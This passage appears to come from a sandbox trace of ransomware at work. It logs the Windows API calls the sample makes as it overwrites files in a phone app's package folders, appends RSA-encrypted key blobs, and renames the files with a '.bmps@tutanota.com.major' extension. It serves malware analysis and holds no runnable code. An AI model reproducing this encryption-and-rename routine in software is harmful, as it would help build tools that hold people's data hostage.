"c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.commsphone_8wekyb3d8bbwe\\localcache\\callsbackgroundtasklog.last.etl"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.CommsPhone_8wekyb3d8bbwe\\LocalCache\\CallsBackgroundTaskLog.last.etl.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.commsphone_8wekyb3d8bbwe\\localcache\\callsbackgroundtasklog.last.etl.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0196.073] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b3b90 | out: hHeap=0x570000) returned 1 [0196.073] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58f070 | out: hHeap=0x570000) returned 1 [0196.073] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6599b8 | out: hHeap=0x570000) returned 1 [0196.074] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6598c0 | out: hHeap=0x570000) returned 1 [0196.074] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0196.074] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.CommsPhone_8wekyb3d8bbwe\\LocalCache\\CallsBackgroundTaskLog.etl", dwFileAttributes=0x80) returned 1 [0196.078] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3033518 | out: hHeap=0x570000) returned 1 [0196.078] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.CommsPhone_8wekyb3d8bbwe\\LocalCache\\CallsBackgroundTaskLog.etl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.commsphone_8wekyb3d8bbwe\\localcache\\callsbackgroundtasklog.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xcbc [0196.078] GetFileSizeEx (in: hFile=0xcbc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=4096) returned 1 [0196.078] ReadFile (in: hFile=0xcbc, lpBuffer=0x30400a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x30400a8*, lpNumberOfBytesRead=0x2e3f9b4*=0x1000, lpOverlapped=0x0) returned 1 [0196.135] SetFilePointer (in: hFile=0xcbc, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0196.135] WriteFile (in: hFile=0xcbc, lpBuffer=0x30410b0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x30410b0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1000, lpOverlapped=0x0) returned 1 [0196.135] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x30400a8 | out: hHeap=0x570000) returned 1 [0196.135] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x30410b0 | out: hHeap=0x570000) returned 1 [0196.135] SetFilePointer (in: hFile=0xcbc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1000 [0196.135] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0196.135] WriteFile (in: hFile=0xcbc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0196.135] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0196.135] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0196.136] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0196.136] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="hfuAcdf80FpAEu2usERgaIrNw9UAm2+5H+vUVf5620ko6Xnf2OvpUv5i1vhjDAqI\nfjX3qbNHlWebK6dltG7Y4R+exmQIunpPWHyz/VqiDocGZgSE68s6UCp3ELQPaAuo\nS9g54dvDusRSJ2O83XiMG8krgTMUv/F+ffq93Gr9Yqh5f3baC8Ynu9FdQOX0+yco\n8hJQ5/e7m3EHiak6P/XF2hoGt+EXogBgn0MamwYvEEweNN1e/r9EuAHrydTifk7E\nHaUAIdcc44Mu9aTrGbRQfrfSz5QRdd/ixQ5f9df3kdsyyWv78Zs1yhQ7gWJ9q6KS\nwCJ0tDlAy67FcAhqR6bLXw==\n", pcchString=0x2e3f9a8) returned 1 [0196.136] WriteFile (in: hFile=0xcbc, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0196.136] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0196.136] WriteFile (in: hFile=0xcbc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0196.136] CloseHandle (hObject=0xcbc) returned 1 [0196.136] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0196.137] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.CommsPhone_8wekyb3d8bbwe\\LocalCache\\CallsBackgroundTaskLog.etl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.commsphone_8wekyb3d8bbwe\\localcache\\callsbackgroundtasklog.etl"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.CommsPhone_8wekyb3d8bbwe\\LocalCache\\CallsBackgroundTaskLog.etl.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.commsphone_8wekyb3d8bbwe\\localcache\\callsbackgroundtasklog.etl.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0196.139] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b3b90 | out: hHeap=0x570000) returned 1 [0196.139] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58eff8 | out: hHeap=0x570000) returned 1 [0196.139] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3032dd8 | out: hHeap=0x570000) returned 1 [0196.139] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x652490 | out: hHeap=0x570000) returned 1 [0196.139] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d35b0 | out: hHeap=0x570000) returned 1 [0196.139] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x662f80 | out: hHeap=0x570000) returned 1 [0196.139] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x660740 | out: hHeap=0x570000) returned 1 [0196.139] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.CommsPhone_8wekyb3d8bbwe\\LocalState\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3df817ee, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xca6d324c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2db73815, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f8c908 [0196.140] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f82640 | out: hHeap=0x570000) returned 1 [0196.140] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a46a0 | out: hHeap=0x570000) returned 1 [0196.140] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b018 | out: hHeap=0x570000) returned 1 [0196.140] GetLastError () returned 0x0 [0196.140] GetLastError () returned 0x0 [0196.140] GetLastError () returned 0x0 [0196.140] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bec08 | out: hHeap=0x570000) returned 1 [0196.140] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8cb08 | out: hHeap=0x570000) returned 1 [0196.140] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40648 | out: hHeap=0x570000) returned 1 [0196.140] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58eeb8 | out: hHeap=0x570000) returned 1 [0196.140] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0196.140] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f82640 | out: hHeap=0x570000) returned 1 [0196.140] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a46a0 | out: hHeap=0x570000) returned 1 [0196.140] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8abd8 | out: hHeap=0x570000) returned 1 [0196.140] GetLastError () returned 0x0 [0196.140] GetLastError () returned 0x0 [0196.140] GetLastError () returned 0x0 [0196.140] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be2c0 | out: hHeap=0x570000) returned 1 [0196.141] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8cc88 | out: hHeap=0x570000) returned 1 [0196.141] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40588 | out: hHeap=0x570000) returned 1 [0196.141] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58edc8 | out: hHeap=0x570000) returned 1 [0196.141] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0196.141] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f82640 | out: hHeap=0x570000) returned 1 [0196.141] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a46a0 | out: hHeap=0x570000) returned 1 [0196.141] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8af90 | out: hHeap=0x570000) returned 1 [0196.141] GetLastError () returned 0x0 [0196.141] GetLastError () returned 0x0 [0196.141] GetLastError () returned 0x0 [0196.141] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58f070 | out: hHeap=0x570000) returned 1 [0196.141] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d34f8 | out: hHeap=0x570000) returned 1 [0196.141] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x662d58 | out: hHeap=0x570000) returned 1 [0196.141] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589900 | out: hHeap=0x570000) returned 1 [0196.141] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.CommsPhone_8wekyb3d8bbwe\\RoamingState\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3df817ee, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xca6d3bfe, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2db73815, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f8c8c8 [0196.141] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f82640 | out: hHeap=0x570000) returned 1 [0196.141] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0196.142] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b238 | out: hHeap=0x570000) returned 1 [0196.142] GetLastError () returned 0x12 [0196.142] GetLastError () returned 0x12 [0196.142] GetLastError () returned 0x12 [0196.142] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be4d0 | out: hHeap=0x570000) returned 1 [0196.142] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8ca08 | out: hHeap=0x570000) returned 1 [0196.142] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40408 | out: hHeap=0x570000) returned 1 [0196.142] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58efa8 | out: hHeap=0x570000) returned 1 [0196.142] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0196.142] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f82640 | out: hHeap=0x570000) returned 1 [0196.142] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a44f0 | out: hHeap=0x570000) returned 1 [0196.142] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8abd8 | out: hHeap=0x570000) returned 1 [0196.142] GetLastError () returned 0x12 [0196.142] GetLastError () returned 0x12 [0196.142] GetLastError () returned 0x12 [0196.142] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bebb0 | out: hHeap=0x570000) returned 1 [0196.142] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8cc48 | out: hHeap=0x570000) returned 1 [0196.142] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40600 | out: hHeap=0x570000) returned 1 [0196.142] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ee40 | out: hHeap=0x570000) returned 1 [0196.142] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0196.142] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f82640 | out: hHeap=0x570000) returned 1 [0196.143] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0196.143] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b238 | out: hHeap=0x570000) returned 1 [0196.143] GetLastError () returned 0x12 [0196.143] GetLastError () returned 0x12 [0196.143] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f82640 | out: hHeap=0x570000) returned 1 [0196.143] GetLastError () returned 0x12 [0196.143] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58eff8 | out: hHeap=0x570000) returned 1 [0196.143] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d3218 | out: hHeap=0x570000) returned 1 [0196.143] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x661cd0 | out: hHeap=0x570000) returned 1 [0196.143] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5898b0 | out: hHeap=0x570000) returned 1 [0196.143] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.CommsPhone_8wekyb3d8bbwe\\Settings\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3dfa7a40, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x711e790d, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x2db73815, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f8c988 [0196.143] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b4f18 | out: hHeap=0x570000) returned 1 [0196.143] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0196.143] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.CommsPhone_8wekyb3d8bbwe\\Settings\\settings.dat.LOG2", dwFileAttributes=0x80) returned 1 [0196.144] ReadFile (in: hFile=0xcc8, lpBuffer=0x59d350, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d350*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0196.144] SetFilePointer (in: hFile=0xcc8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0196.144] WriteFile (in: hFile=0xcc8, lpBuffer=0x59d320*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d320*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0196.144] SetFilePointer (in: hFile=0xcc8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0196.144] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0196.144] WriteFile (in: hFile=0xcc8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0196.146] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0196.146] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0196.146] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0196.146] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="GidBU598rXcyFaNr+nHA9FWzzPwZbMnio6RXbKrnwl6gH3ERnNrXijqCeUVuZMKO\njuaMMx7Wrok3gxndoPO9zXbVgVDtAxFDKnmPgLzLkWaCLNXb/F5QD69aTF/0ky3K\n4E+GuiQNdakCbBqzx8QmDIdfnwnYiuWgmf9rxF7NX1uxxoHddLMSX4t/FOC/Iwux\n7lERU60T6sQEUEbr+kuVkTpK8mdPRZi7hzJuuvSwsWXORmAVklADIuE45ztuxmjU\nuOIhJ4Z/lMnDII4NAkfn5qSygs2lFY8FScXHXxzuJLi3KMnbqVujY7or5z2IxDjQ\naRxzcm/MY1YdZL4zPojVKw==\n", pcchString=0x2e3f9a8) returned 1 [0196.146] WriteFile (in: hFile=0xcc8, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0196.146] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0196.146] WriteFile (in: hFile=0xcc8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0196.146] CloseHandle (hObject=0xcc8) returned 1 [0196.148] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0196.148] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.CommsPhone_8wekyb3d8bbwe\\Settings\\settings.dat.LOG1", dwFileAttributes=0x80) returned 1 [0196.148] ReadFile (in: hFile=0xcc8, lpBuffer=0x2f958e0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f958e0*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0196.185] SetFilePointer (in: hFile=0xcc8, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0196.185] WriteFile (in: hFile=0xcc8, lpBuffer=0x2f8d8c0*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f8d8c0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0196.186] SetFilePointer (in: hFile=0xcc8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0196.186] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0196.186] WriteFile (in: hFile=0xcc8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0196.186] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0196.187] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0196.187] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0196.187] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="z0ImTEeKGOPPf18qgEEz1mHVW2n1Tizmf9cuk3y47uet0fz0d++rpcfe0QZHo7Xq\nHLzRodKN+QLKVgLy4byfI/STYxdS+glAxlz4TAsrBfHAySFv7FPV14EXXASvcL2w\nhummvFowQ8P5B6DCUAATeOgta2W8IzPVywXW2V9rsyACzoQvodmavTUSX4yhm35g\nbxWW8l63+QPU8X0jBF85e8dyH2UTWGgbPJaVSwVoV7WZMWfnl4tMLJ6gkgksmJoN\nTm4ytnMgQGmhhu7rO7Hl3f+cj8a+RcT2VtTVKsk/1ZzaBTlEdHxN2Dp6BMffE/zV\nLrcxfvkQXD6X5L/CrsAjmA==\n", pcchString=0x2e3f9a8) returned 1 [0196.187] WriteFile (in: hFile=0xcc8, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0196.187] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0196.187] WriteFile (in: hFile=0xcc8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0196.188] CloseHandle (hObject=0xcc8) returned 1 [0196.191] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0196.191] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.CommsPhone_8wekyb3d8bbwe\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0196.192] ReadFile (in: hFile=0xcc8, lpBuffer=0x2f918d0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f918d0*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0196.228] SetFilePointer (in: hFile=0xcc8, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0196.228] WriteFile (in: hFile=0xcc8, lpBuffer=0x2f8f8c8*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f8f8c8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0196.229] SetFilePointer (in: hFile=0xcc8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0196.229] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0196.229] WriteFile (in: hFile=0xcc8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0196.229] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0196.229] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0196.229] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0196.229] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="2OKo9Kax2M/95VU2MMN5eeiC7gMCUQU6DxcU1p/XjHe1+oMOzogCVoGChXBk+mpR\nqh3Uybg3Py64dxqMMQnp/GKwkRAwH07HmbmW2DxdRyJzjyFvTG6A0mR+hiixe+Z2\nbSo51uAeXen0cIRnqcPVFcgqi3j1HMdsqHaZs0AXR6tAMl3G60uA/y8dj70wH6xO\nj5JVnc9iocVWFab03tNkkstmap2yVYarQ5ttlFP/3RHRRtjhyluhsdifZK6LSWSP\nHwQI6WRgyMGlBJhMN6dtb0hMUt3/I/agyXwITq/szU+UZp3Kuk0FgnxN6tiBIduO\nXhKTBwoMaqf142Nns50VHw==\n", pcchString=0x2e3f9a8) returned 1 [0196.229] WriteFile (in: hFile=0xcc8, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0196.230] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0196.230] WriteFile (in: hFile=0xcc8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, 